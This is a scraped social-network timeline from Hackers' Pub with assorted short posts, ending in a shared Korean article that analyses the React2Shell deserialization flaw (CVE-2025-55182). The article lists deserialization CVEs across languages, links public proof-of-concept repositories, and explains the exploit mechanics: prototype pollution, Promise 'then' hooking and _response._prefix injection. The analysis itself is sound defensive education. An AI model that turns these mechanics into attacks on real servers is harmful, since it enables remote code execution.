What is Hackers' Pub?

Hackers' Pub is a place for software engineers to share their knowledge and experience with each other. It's also an ActivityPub-enabled social network, so you can follow your favorite hackers in the fediverse and get their latest posts in your feed.

0
0
0
0
0
1

ใƒ€ใƒณใ‚ธใƒงใƒณ็”Ÿๆˆใซไธ€ๆง˜ๅˆ†ๅธƒใ‚’ๆฑ‚ใ‚ใ‚‹ใฎใฏ้–“้•ใฃใฆใ„ใ‚‹ใ ใ‚ใ†ใ‹
zenn.dev/folio_sec/articles/06

0
0
0
0

๋ฃธ๋ฉ”๋ž‘ ํ‘๋ฐฑ2 ๋ณด๊ณ  ์žˆ๋Š”๋ฐ ์ง€์˜ฅํŽธ ๋ฏธ์…˜์œผ๋กœ ์†Œ๊ธˆ์ง€์˜ฅ ๋‚˜์˜ฌ ๊ฒƒ ๊ฐ™๋‹ค๊ณ  ํ•จ ๋ถ™์€ ํ‘์ˆ˜์ €๋“ค์ด ์ž๊พธ ์šธ์–ด์„œ ๋ˆˆ๋ฌผ๋กœ ์†Œ๊ธˆ ๋ฝ‘์•„์„œ ์š”๋ฆฌ์‹œํ‚ฌ ๊ฒƒ ๊ฐ™๋‹ค๊ณ ใ…‹ใ…‹ใ…‹

0

Danish head of government IT (left) hands over the first "microsoft-free" computer to the head of Danish Traffic control, December 2025. They are testing Linux as the primary OS, with open source alternatives for stuff like office, on peoples work computers in government agencies. Traffic control gets to be our first test subject. This is gonna be put in the hands of somewhat tech-illiterate people.
reddit.com/r/linux/comments/1p

The EU is slowly becoming tech independent from *big tech* :)

In this picture we see, Danish head of government IT (left) hands over the first "microsoft-free" computer to the head of Danish Traffic control, December 2025. Source https://www.reddit.com/r/linux/comments/1pohupu/danish_head_of_government_it_left_hands_over_the/
0
0
0

Catswords ์˜คํ”ˆ์†Œ์Šค ํŒ€์€ Tenstorrent๋กœ ๋ถ€ํ„ฐ NPU ์—ฐ์‚ฐ ์ž์› ์ง€์›์„ ๋ฐ›๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์ด์— ๋”ฐ๋ผ ํ”„๋กœ์ ํŠธ ๋‚ด์— NPU ์ ์šฉ์ด ๊ธฐ๋Œ€๋˜๋Š” ๊ณณ์— ์ ์šฉํ•˜์—ฌ ์‹ค์ฆํ•˜๋Š” ๊ณผ์ •์„ ์ง„ํ–‰ํ•˜๊ณ ์ž ํ•ฉ๋‹ˆ๋‹ค.

๋งŽ์€ ์‘์› ๋ฐ”๋ž๋‹ˆ๋‹ค. ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

ํ…์Šคํ† ๋ ŒํŠธ๊ฐ€ ์–ด๋””์ธ์ง€ ๊ถ๊ธˆํ•œ ๋ถ„๋“ค์€ ๋งํฌ๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”!

newstheai.com/news/articleView

1
0
ใ€Œใ‚ฒใƒผใƒ ใฏๅ—้จ“ใŒ็ต‚ใ‚ใฃใŸๅพŒใซๅนพใ‚‰ใงใ‚‚้Šในใ‚‹ใ€ใชใ‚“ใฆๅฝ“ๆ™‚่จ€ใฃใฆใŸใ‘ใ‚Œใฉใ€€ใใฎใ‘ใ‚‚ใฎใƒ•ใƒฌใƒณใ‚บใ‚‚ๆฐ—ไป˜ใ„ใŸๆ™‚ใซใฏใ‚ต็ต‚ใ—ใฆใฆใญใˆใ€€ใกใ‚‡ใ†ใฉ่‚บใฎ็—…ๆฐ—ใชใ‚“ใ‹ใ‚‚ใ‚„ใฃใŸ้ ƒใ ใฃใŸใ‚Šใ—ใฆใ ใ„ใถไบบ้–“ไธไฟกใซใชใฃใฆใŸใ‚ˆใญใˆใ€€ใชใคใ‹ใ—ใ„
1
0

subpost made while heavily pissed off; Rust; doxxing

you are writing a project in Rust. you require efficient binary format serialization. pick your fighter:

0

๏ผ‘ๆœˆ๏ผ‘ๆ—ฅใ€ZenSkyใฏ่ตทๆญปๅ›ž็”Ÿใฎไธ€ๆ‰‹ใจใ—ใฆๆ–ฐใ‚ตใƒผใƒ“ใ‚นใ€ŒZenSky Meใ€ใ‚’้–‹ๅง‹ใ—ใพใ™ใ€‚
ใ“ใ‚Œใฏใ€ๅพ“ๆฅๆไพ›ใ—ใฆใ„ใŸใ€ŒZenSky Drop Originalใ€ใ‚’็ฝฎใๆ›ใˆใ‚‹็ซ‹ใกไฝ็ฝฎใฎSNSใงใ™ใŒใ€ใ€Œใฟใ‚“ใชใจไธ€็ท’ใ€ใงใ‚ใ‚‹ใ“ใจใ‚’ๅคงๅˆ‡ใซใ—ใพใ™ใ€‚
ใพใŸใ€Mix& Liveใ‚’ๅ†…่”ตใ—ใ€SNSใงไผš่ฉฑใ‚’ๆฅฝใ—ใฟใชใŒใ‚‰ๅ‹•็”ปใ‚‚่ฆณใ‚‹ใ“ใจใŒใงใใพใ™ใ€‚
็พๅœจ้–‹็™บไธญใงใ™ใฎใงใ€ไปŠใฎใ†ใกใซๆฌฒใ—ใ„ๆฉŸ่ƒฝใ‚’ใƒชใƒ—ใƒฉใ‚คใ—ใฆใใ ใ•ใ„๏ผ๏ผใ‚ˆใ‚ใ—ใใŠ้ก˜ใ„ใ—ใพใ™๏ผ๏ผ

0

ใ‚ฝใƒ•ใƒˆใƒใƒณใ‚ฏๅ›ž็ทšใฎMVNOร—Androidใฃใฆใ€ใ„ใพใ ใจใตใคใ†ใซใคใชใŒใ‚‹? ๆ˜”ใฏ็น‹ใŒใ‚‰ใชใ‹ใฃใŸ่จ˜ๆ†ถใŒใ‚ใ‚‹ใฎใ ใ‘ใฉๆฐ—ใฎใ›ใ„?

0
1
3
1
0
1
1
0

ใƒซใƒ”ใ‚ทใ‚ขใŠ่Œถใฎ็ฆ่ข‹ใงๆˆ‘ใŒๅฎถใฎ่Œถ่‘‰ๅœจๅบซใŒๅฎŒๅ…จใซ็ ดๅฃŠใ•ใ‚Œใ‚‹ๆง˜ๅญ

1
0
1

Algorithms aren't as important as data structures.

Data structures are what programming is mainly about. Given the right data structures, the algorithms will naturally fall out from them.

Likewise the wrong data structures will thwart your ability to design an algorithm to solve the problem.

If you're having a problem with your architecture, it's likely because you're modeling the data wrong in some way.

0

20๋…„ ์ „ ์ถœ์‹œ๋œ ๊ตฌํ˜• LG ์—์–ด์ปจ ์†Œ์œ ์ž๋“ค์ด โ€˜๋†’์€ ๊ธˆ๊ฐ’โ€™์— ๋œปํ•˜์ง€ ์•Š์€ ํšก์žฌ๋ฅผ ๋ˆ„๋ฆฌ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

ํ˜น์‹œ ์šฐ๋ฆฌ์ง‘๋„?โ€ฆโ€˜์ˆœ๊ธˆโ€™ ํœ˜์„ผ ์—์–ด์ปจ ๋กœ๊ณ  70๋งŒ์›

0
1
0

If you already have everything you need for Christmas, don't tell people that. Just tell them you'd really like some nice chocolate, coffee, candle, bottle of wine, or socks.

Give people an easy win. Let them buy some crap for you. Free them from this accursed duty that the season burdens them.

0
0
0

์—ฌ๋ฆ„์— ์ž ์„ ๋ชป์ž๊ณ  ๊ฒจ์šธ์— ์ž ์„ ์ž˜์ž๋Š” ์ด์œ ๊ฐ€ ์ด๊ฑด๊ฐ€.... ๊ฒจ์šธ์— ์ผ๋ถ€๋Ÿฌ ๋ฌด๊ฑฐ์šด ์ด๋ถˆ๋“ค๋งŒ ๊ณ ์ง‘ํ•ด์„œ... โ€‹:blobcatfrustration:โ€‹

1

So @sovtechfundSovereign Tech Agency published the report on their experiment with Fellowships program.

And I love it. I love it because the results are so frigging good and align with the model of open source maintainers I keep pushing forward.

And it gives me a bit of hope. At least we have some support for the model of the problem. And possible solutions.

Let's make it better for everyone!

Thanks you @sovtechfundSovereign Tech Agency

sovereign.tech/publications/ev

0
0
0
1
0
0
1
0

ๆœ€่ฟ‘ๆœ‰ๅฅฝๅนพๆ™š็š„ๅคข่ฃก้ข๏ผŒ้ƒฝๅˆ†ๅˆฅๅ‡บ็พไบ†ไธๅŒ็š„่‡ชๅทฑๆ›พ็ถ“ๅ–œๆญก้Ž็š„ๅฅณ็”Ÿใ€็”š่‡ณๅชๆ˜ฏๆœ‰้Žๅฅฝๆ„Ÿ็š„ๅฅณ็”Ÿ๏ผŒไธ็Ÿฅ้“ๆ˜ฏๆ€Ž้บผๅ›žไบ‹โ‹ฏโ‹ฏ

0
0

์‹ ์ƒ์•„ ์œ ๊ธฐํ•œ ์œ ํ•™์ƒ ์‚ฐ๋ชจ โ†’ ์ฆ‰์‹œ ๊ตฌ์† ์žก์•˜์–ด์•ผ ๋  ์ฆ๊ฑฐ์ธ๋ฉธ ์šฐ๋ ค ์žˆ๋Š” ์˜จ๊ฐ– ๋ฏผ์ •๋‹น๊ณ„ ํ˜น์€ ๊ตฐ ๊ด€๊ณ„ ์ •์น˜์‚ฌ๋ฒ”๋“ค โ†’ โ€œ๋„์ฃผ ์šฐ๋ ค ์—†์–ดโ€

RE: https://bsky.app/profile/did:plc:g23eq6mc3wh6nk5kmxbobm6i/post/3ma6sioiay52b

0

ํ‚ˆ๋ฝ shared the below article:

React2Shell ์ทจ์•ฝ์ ์˜ ํŠน์„ฑ์„ ์•Œ์•„๋ณด์ž

๊ณ ๋‚จํ˜„ @gnh1201@hackers.pub

React2Shell ์ทจ์•ฝ์ ์ด๋ž€?

์™ธ๋ถ€์—์„œ ์ˆ˜์‹ ๋œ ํŠน์ •ํ•œ ๊ทœ๊ฒฉ์— ๋”ฐ๋ผ ๊ตฌ์กฐ์ ์œผ๋กœ ์ž‘์„ฑ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฒ˜๋ฆฌํ•œ๋‹ค๋ฉด, ๊ณต๊ฒฉ์ž๊ฐ€ ์–ด๋– ํ•œ ์˜๋„๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด ๋ฐ์ดํ„ฐ๋ฅผ ๋ณด๋‚ผ ๋•Œ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์•…์˜์  ์ฝ”๋“œ๋ฅผ ๊ฐ™์ด ๋„ฃ์–ด ๋ณด๋‚ผ ๊ฐ€๋Šฅ์„ฑ์„ ๋ฐฐ์ œํ•  ์ˆ˜ ์—†๋‹ค.

์ด๊ฒƒ์ด ๋ณด์•ˆ ์•ฝ์ ์ด ๋˜์ง€ ์•Š๊ธฐ ์œ„ํ•ด์„  ์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ์ž์˜ ์˜๋„๋ฅผ ๋ง‰์•„์•ผํ•˜์ง€๋งŒ, React2Shell (CVE-2025-55182) ์ทจ์•ฝ์ ์€ ์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ์ž์˜ ์˜๋„๋ฅผ ๋ง‰์ง€ ๋ชปํ•˜๊ณ  ์‹คํ–‰์„ ๋ฌด์ œํ•œ ํ—ˆ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ๋ฐœ๊ฒฌ๋œ ๊ฒƒ์ด๋‹ค.

ํŠน์ •ํ•œ ๊ทœ๊ฒฉ์— ๋”ฐ๋ผ ๊ตฌ์กฐ์ ์œผ๋กœ ์ž‘์„ฑ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๊ณผ์ •์„ ์ผ์ปซ๋Š” ์šฉ์–ด๋ฅผ "์—ญ์ง๋ ฌํ™”"(Deserialization)์ด๋ผ๊ณ  ํ•œ๋‹ค.

ํŠน์ •ํ•œ ๊ทœ๊ฒฉ์€ ์ž˜ ์•Œ๋ ค์ง„ JSON, XML, YAML๊ฐ€ ๋  ์ˆ˜๋„ ์žˆ๊ณ , ์ž์ฒด ๊ทœ๊ฒฉ์ด ๋  ์ˆ˜๋„ ์žˆ๊ณ , ํ˜ผํ•ฉํ˜•์ด ๋  ์ˆ˜๋„ ์žˆ๋‹ค. React2Shell ์ทจ์•ฝ์ ์€ ํ˜ผํ•ฉํ˜•(JSON + aka. Flight)์„ ์‚ฌ์šฉํ•˜์˜€๋‹ค.

์ž์ฒด ๊ทœ๊ฒฉ(aka. Flight)์ด JavaScript๋กœ ์ •์˜๋œ ๊ฐ์ฒด์˜ ์„ฑ๊ฒฉ์„ ์ž„์˜๋กœ ๋ณ€๊ฒฝ(Prototype ๊ฐœ๋… ์ƒ ์กด์žฌํ•˜๋Š” ์ƒ์„ฑ์ž ์ˆ˜์ค€์˜ ์†์„ฑ(__proto__, constructor)์— ์ ‘๊ทผํ•˜์—ฌ ๊ฐ์ฒด์˜ ์„ฑ๊ฒฉ์„ ์ž„์˜๋กœ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ์Œ)ํ•˜๋Š”๋ฐ ํ•„์š”ํ•œ ์ ‘๊ทผ์„ฑ์„ ๊ฐ€์ง€๊ณ  ์žˆ์—ˆ๊ธฐ์— ๊ฐ€๋Šฅํ•œ ๊ฒƒ์ด์—ˆ๋‹ค.

์—ญ์ง๋ ฌํ™”(Deserialization) ๊ณผ์ •์€ ์™œ ์œ„ํ—˜ํ•œ๊ฐ€?

์‹ค๋ฌด์ ์œผ๋กœ ์—ญ์ง๋ ฌํ™” ๊ณผ์ •์ด ์œ„ํ—˜ํ•ด์ง€๋Š” ์ด์œ ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

  1. ๋ฐ์ดํ„ฐ ๊ตํ™˜ ํฌ๋งท์€ ์ž๋ฃŒํ˜•์— ์—„๊ฒฉํ•˜์ง€ ์•Š๋‹ค: ์›ํ™œํ•œ ๋ฐ์ดํ„ฐ ๊ตํ™˜์ด ์ตœ์šฐ์„ ์ด๋ผ๋Š” ๋ชฉ์ ์— ๋งŒ์กฑํ•˜๊ธฐ ์œ„ํ•ด ์—„๊ฒฉํ•œ ์ž๋ฃŒํ˜•(Type-safe)์„ ์‚ฌ์šฉํ•˜๋„๋ก ์„ค๊ณ„ํ•˜์ง€ ์•Š๋Š”๋‹ค. ์ด๊ฒƒ์€ ์ž๋ฃŒํ˜• ํ˜ผ๋ž€(Type Confusion)์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•œ ๋‹ค์–‘ํ•œ ๋ฐฉ์‹์˜ ํƒˆ์˜ฅ ์‹œ๋„๋ฅผ ๊ฐ€๋Šฅ์ผ€ํ•ด์ฃผ๋Š” ๋‹จ์„œ๊ฐ€ ๋˜๊ธฐ๋„ ํ•œ๋‹ค.
  2. ํŠน์ • ๋‹จ์–ด ๋˜๋Š” ํŠน์ • ๊ธฐํ˜ธ๊ฐ€, ํŠน์ • ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ์‹ ํ˜ธํƒ„(Trigger) ์—ญํ• ์„ ํ•œ๋‹ค: ํŠน์ • ํŠน์ • ๋‹จ์–ด ๋˜๋Š” ํŠน์ • ๊ธฐํ˜ธ์— ์˜ํ•ด ์ด‰๋ฐœ๋˜๋Š” ํŠน์ • ์ž‘์—…์˜ ์œ ํšจ์„ฑ ๊ฒ€์ฆ ์ ˆ์ฐจ๊ฐ€ ๋ฏธํกํ•˜๋ฉฐ ํ•ด๋‹น ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ฒ”์œ„๋ฅผ ๋ฒ—์–ด๋‚˜ ์‹œ์Šคํ…œ์œผ๋กœ ๊ถŒํ•œ ์ƒ์Šน๊ณผ ๋ช…๋ น ์‹คํ–‰์„ ํ—ˆ์šฉํ•˜๋Š” ํ†ต๋กœ๊ฐ€ ๋œ๋‹ค. ์‹ค๋ฌด์ ์œผ๋กœ ๊ฐ€์žฅ ๋น„์ค‘์ด ๋†’์€ ์œ ํ˜•์ด๋‹ค.
  3. ๋ฏธ๋ฆฌ ์‹๋ณ„๋˜์ง€ ๋ชปํ•œ ์˜ˆ์•ฝ์–ด๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ๋‹ค: ๋“œ๋ฌผ์ง€๋งŒ ํŠน์ • ์–ธ์–ด, ํŠน์ • ํ”„๋ ˆ์ž„์›Œํฌ, ํŠน์ • ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ, ๋˜๋Š” ํŠน์ • ํŽŒ์›จ์–ด ๋“ฑ ์—ฐ๊ด€๋œ ์˜์กด์„ฑ์—์„œ ๋ช…ํ™•ํ•˜๊ฒŒ ์‹๋ณ„๋˜์ง€ ๋ชปํ•œ ์˜ˆ์•ฝ์–ด(๋‹จ์–ด, ๊ธฐํ˜ธ)๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๊ตฌํ˜„์ด ์กด์žฌํ•  ๊ฐ€๋Šฅ์„ฑ๋„ ์žˆ๋‹ค. ์ด๋Š” ํŠน์ • ์กฐ๊ฑด์ด ๋งž์œผ๋ฉด ๋ฐœํ˜„๋  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๋‹ค.

์ด ์™ธ์—๋„ ์—ญ์ง๋ ฌํ™” ๊ณผ์ •์€ ์œ ์‚ฌํ•œ ์—ฌ๋Ÿฌ ์ทจ์•ฝ ๊ฐ€๋Šฅ์„ฑ์„ ๊ฐ€์ง€๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, ์—ญ์ง๋ ฌํ™” ๊ณผ์ •์„ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•œ ์—ฌ๋Ÿฌ ๋ณด์™„ ์žฅ์น˜์˜ ๊ตฌํ˜„์ด ํ•„์š”ํ•˜๋‹ค.

์•Œ๋ ค์ง„ ์—ญ์ง๋ ฌํ™” ์ทจ์•ฝ์  ์‚ฌ๋ก€ (์–ธ์–ด ๋ฐ ์ƒํƒœ๊ณ„๋ณ„)

์—ญ์ง๋ ฌํ™” ์ทจ์•ฝ์ ์ด ์–ด๋–ค ์„ฑ๊ฒฉ์„ ๊ฐ€์ง€๋Š” ์ทจ์•ฝ์ ์ธ์ง€ ๋น ๋ฅด๊ฒŒ ์ดํ•ดํ•˜๊ธฐ ์œ„ํ•ด์„ , ์—ญ์ง๋ ฌํ™” ์ทจ์•ฝ์ ๊ณผ ์—ฐ๊ด€์ด ์žˆ๋Š” ์ทจ์•ฝ์  ์‚ฌ๋ก€์™€ ๊ณตํ†ต์ ์ธ ํŠน์ง•์„ ์‚ดํŽด๋ณผ ์ˆ˜ ์žˆ๋‹ค. ๊ทธ ์‚ฌ๋ก€๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์–ธ์–ด / ์ƒํƒœ๊ณ„์—ญ์ง๋ ฌํ™” ์ทจ์•ฝ์  ์‚ฌ๋ก€์ฃผ์š” ๊ณตํ†ต์ 
JavaCVE-2021-44228 (Log4Shell), CVE-2017-9805 (Apache Struts2 REST), CVE-2020-8840 (jackson-databind)์™ธ๋ถ€ ์ž…๋ ฅ์ด ๊ฐ์ฒด ์ƒ์„ฑยท์—ญ์ง๋ ฌํ™” ๊ฒฝ๋กœ(JNDI, XML/JSON ๋ฐ”์ธ๋”ฉ) ๋กœ ์œ ์ž…๋˜์–ด gadget chain ๋˜๋Š” ์›๊ฒฉ ํด๋ž˜์Šค ๋กœ๋”ฉ์„ ํ†ตํ•ด RCE ๋ฐœ์ƒ
.NET (C# / VB.NET)CVE-2019-18935 (Telerik UI), CVE-2025-53690 (Sitecore ViewState), CVE-2020-25258 (Hyland OnBase)BinaryFormatterยทViewState ๋“ฑ ๋ ˆ๊ฑฐ์‹œ ์—ญ์ง๋ ฌํ™” ํฌ๋งท์„ ์‹ ๋ขฐํ•˜์—ฌ ์ž„์˜ ํƒ€์ž… ๋กœ๋”ฉยท์ฝ”๋“œ ์‹คํ–‰
PythonCVE-2017-18342 (PyYAML unsafe load), CVE-2024-9701 (Kedro ShelveStore), CVE-2024-5998 (LangChain FAISS)pickleยทunsafe YAML ๋กœ๋” ์‚ฌ์šฉ์œผ๋กœ ์—ญ์ง๋ ฌํ™” ์ž์ฒด๊ฐ€ ์‹คํ–‰ ํŠธ๋ฆฌ๊ฑฐ
PHP (WP)CVE-2023-6933 (Better Search Replace), CVE-2025-0724 (ProfileGrid), CVE-2024-5488 (SEOPress)unserialize() / maybe_unserialize()์— ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ์ „๋‹ฌ๋˜์–ด PHP Object Injection(POP chain) ๋ฐœ์ƒ
RubyCVE-2013-0156 (Rails YAML.load), CVE-2020-10663 (RubyGems Marshal)YAML.loadยทMarshal.load ์‚ฌ์šฉ ์‹œ ์ž„์˜ ๊ฐ์ฒด ์ƒ์„ฑ โ†’ ์ฝ”๋“œ ์‹คํ–‰
JavaScript / Node.jsCVE-2025-55182 (React2Shell), CVE-2020-7660 (serialize-javascript)๊ตฌ์กฐ ๋ณต์›ยท๊ฐ์ฒด ์žฌ๊ตฌ์„ฑ ๋กœ์ง์ด ์‹ ๋ขฐ๋˜์ง€ ์•Š์€ ์ž…๋ ฅ์„ ์ฝ”๋“œ/๊ฐ์ฒด๋กœ ํ•ด์„
GoCVE-2022-28948 (go-yaml Unmarshal), CVE-2020-16845 (HashiCorp Consul)Unmarshal ๋‹จ๊ณ„์—์„œ ์ž…๋ ฅ ๊ฒ€์ฆ ๋ถ€์กฑ โ†’ ๊ตฌ์กฐ์ฒด ๋ณต์› ๊ธฐ๋ฐ˜ ๋กœ์ง ๋ถ•๊ดดยทDoS
RustGHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687)๋ฉ”๋ชจ๋ฆฌ ์•ˆ์ „๊ณผ ๋ฌด๊ด€ํ•˜๊ฒŒ serde ๊ธฐ๋ฐ˜ ์—ญ์ง๋ ฌํ™”์—์„œ ์‹ ๋ขฐ๋˜์ง€ ์•Š์€ ๋ฐ์ดํ„ฐ๊ฐ€ ๋‚ด๋ถ€ ํƒ€์ž…์œผ๋กœ ๋ณต์›๋˜์–ด ๋กœ์ง ์˜ค์—ผยทDoSยท์ž ์žฌ์  ์ฝ”๋“œ ์‹คํ–‰ ์œ„ํ—˜
Kotlin / AndroidCVE-2024-43080 (Android) / CVE-2024-10382 (Android Car)Intent/Bundle/IPC ์—ญ์ง๋ ฌํ™” ์‹œ ํƒ€์ž…ยท๊ฒ€์ฆ ๋ฏธํก โ†’ ๊ถŒํ•œ ์ƒ์ŠนยทDoS
C / C++CVE-2024-8375 (Google Reverb, Related to gRPC and protobuf)Unpack ๊ณผ์ •์—์„œ ๋ฐ์ดํ„ฐํƒ€์ž…(VARIANT), vtable ํฌ์ธํ„ฐ ์˜ค์—ผ ๋“ฑ ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์ฆ ๋ถ€์กฑ
Swift / iOSCVE-2021-32742 (Vapor)์™ธ๋ถ€ ์ž…๋ ฅ์„ ๋””์ฝ”๋”ฉ/๊ฐ์ฒด ๋ณต์› ์‹œ ์‹ ๋ขฐ ๊ฒฝ๊ณ„ ๋ถ•๊ดด โ†’ DoSยท์ •๋ณด ๋…ธ์ถœ
์‚ฐ์—…์šฉ (ICS/OT)CVE-2024-12703, CVE-2023-27978 (Schneider Electric), CVE-2025-2566 (Kaleris Navis N4), CVE-2023-32737 (Siemens SIMATIC)ํ”„๋กœ์ ํŠธ ํŒŒ์ผยท๊ด€๋ฆฌ ์„œ๋ฒ„ ์ž…๋ ฅ์„ ์‹ ๋ขฐ๋œ ๋‚ด๋ถ€ ๋ฐ์ดํ„ฐ๋กœ ๊ฐ€์ •ํ•˜๊ณ  ์—ญ์ง๋ ฌํ™” โ†’ RCE ๋ฐ ๋ฌผ๋ฆฌ ์‹œ์Šคํ…œ ์˜ํ–ฅ ๊ฐ€๋Šฅ

์—ญ์ง๋ ฌํ™” ์ทจ์•ฝ์ ์€ ์–ธ์–ด์™€ ํ™˜๊ฒฝ์„ ๊ฐ€๋ฆฌ์ง€ ์•Š๊ณ  ๋‹ค์–‘ํ•˜๊ฒŒ ๋‚˜ํƒ€๋‚˜๊ณ  ์žˆ์œผ๋ฉฐ, ๋ฐœ๊ฒฌ๋œ ์—ญ์ง๋ ฌํ™” ์ทจ์•ฝ์ ์€ ์ทจ์•ฝ์  ์ ์ˆ˜(CVSS 3.x)์—์„œ๋„ 8.0์—์„œ 10.0 ๋ฒ”์œ„์˜ ๋งค์šฐ ๋†’์€ ์ ์ˆ˜๋ฅผ ๋ฐ›๊ณ  ์žˆ๋‹ค.

์ด์ œ ์‚ฌ์ „ ์ •๋ณด ์—†์ด๋„ ๊ณต๊ฒฉ ํŠน์„ฑ์„ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค.

์—ญ์ง๋ ฌํ™” ์ทจ์•ฝ์ ์ด ์–ด๋–ค ๊ณตํ†ต์ ์ธ ํŠน์„ฑ์„ ๊ฐ€์ง€๋Š”์ง€ ์„ค๋ช…ํ–ˆ์œผ๋‹ˆ, ์ด์ œ React2Shell ๊ณต๊ฒฉ์˜ ๊ฐœ๋…์ฆ๋ช…(PoC)์—์„œ ๋ณด์ธ ๊ณต๊ฒฉ ํŠน์„ฑ์„ ์‚ฌ์ „ ์ •๋ณด(๊ณต๊ฒฉ ๋Œ€์ƒ์ธ RSC์˜ ๋‚ด๋ถ€ ์ดํ•ด)๊ฐ€ ์—†์ด๋„ ์–ด๋А์ •๋„ ํŒŒ์•…ํ•  ์ˆ˜ ์žˆ๋‹ค.

์—ฌ๊ธฐ ๊ฐ๊ฐ JavaScript์™€ Python์œผ๋กœ ์ž‘์„ฑ๋œ ์ฃผ์š” ๊ณต๊ฒฉ ๊ฐœ๋…์ฆ๋ช… ์ฝ”๋“œ๊ฐ€ ์žˆ๋‹ค.

  • https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/blob/main/01-submitted-poc.js
  • https://github.com/msanft/CVE-2025-55182/blob/main/poc.py

์—ฌ๊ธฐ์„œ ์•Œ ์ˆ˜ ์žˆ๋Š” ์ •๋ณด๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

  1. ์ž˜ ์•Œ๋ ค์ง„ ํฌ๋งท(JSON ๋“ฑ)๊ณผ ํ•จ๊ป˜ ๋ณด์ด๋Š” Colon-sperated String๊ณผ ๊ฐ™์€ ํŒจํ„ด์€ ํ™œ์šฉ ๋ถ„์•ผ์— ๋”ฐ๋ผ Micro-operations, Opcodes ๋“ฑ์˜ ์šฉ์–ด๋กœ ๋ถˆ๋ฆฌ๋ฉฐ, ๋น„์‹คํ–‰ ํฌ๋งท์„ ์ตœ์†Œ ๋ช…๋ น ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•œ ํฌ๋งท์œผ๋กœ ํ™œ์šฉํ•˜๊ฒ ๋‹ค๋Š” ์˜๋„๋ฅผ ๋‚˜ํƒ€๋‚ธ๋‹ค. ๊ตฌํ˜„ ์‹œ ๋ฌด๊ฒฐ์„ฑ์— ์ฃผ์˜๋ฅผ ๋” ๊ธฐ์šธ์ด์ง€ ์•Š์œผ๋ฉด ์—ญ์ง๋ ฌํ™” ์ทจ์•ฝ์ ์„ ๋ถˆ๋Ÿฌ๋“ค์ด๋Š” ์ข‹์€ ๋ณต์„ ์ด ๋œ๋‹ค.
  2. ์ƒ์„ฑ์ž ์ˆ˜์ค€์˜ ํ‚ค์›Œ๋“œ (__proto__, constructor )๋ฅผ ํ†ตํ•ด Prototype์„ ๋ณ€์กฐํ•  ์ˆ˜ ์žˆ๋Š” ์ ‘๊ทผ์„ฑ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. ์šฉ์–ด๋กœ๋Š” "JavaScript prototype pollution"๋ผ๊ณ  ํ•œ๋‹ค.
  3. then ํ‚ค์›Œ๋“œ๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ ๋Œ€์ƒ ๋‚ด๋ถ€์— ์กด์žฌํ•˜๋Š” Promise ๊ฐ์ฒด์— ๋ถ™๊ฒ ๋‹ค(๋˜๋Š” ์ƒˆ๋กœ์šด Promise ๊ฐ์ฒด๋ฅผ ๋งŒ๋“ค๊ฒ ๋‹ค)๋Š” ์˜๋„๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
  4. ํŽ˜์ด๋กœ๋“œ์˜ value ํ•„๋“œ ๊ฐ’์ด ์•„์ง ์—ญ์ง๋ ฌํ™” ๋˜๊ธฐ ์ „์˜ ๋ฌธ์ž์—ด ํ˜•ํƒœ์˜ JSON์ธ ๊ฒƒ์œผ๋กœ ๋ดค์„ ๋•Œ, ๊ณต๊ฒฉ ๋Œ€์ƒ ๋‚ด๋ถ€์—์„œ JSON.parse ๋ฉ”์†Œ๋“œ์˜ ํ˜ธ์ถœ์„ ์˜ˆ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.
  5. ๊ณต๊ฒฉ ์ฝ”๋“œ๋กœ ๋ณด์ด๋Š” _response._prefix ์˜ ์ฃผ์ž…์€ then ํ‚ค์›Œ๋“œ๊ฐ€ ๋“ฑ์žฅํ•˜๋Š” ์œ„์น˜์™€ ์ตœ๋Œ€ํ•œ ๊ฐ€๊นŒ์šด ๊ณณ์—์„œ ์ผ์–ด๋‚˜์•ผ ํ•œ๋‹ค. ๊ทธ๋ž˜์•ผ Promise ๊ฐ์ฒด๊ฐ€ ๊ณต๊ฒฉ ์ฝ”๋“œ๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.
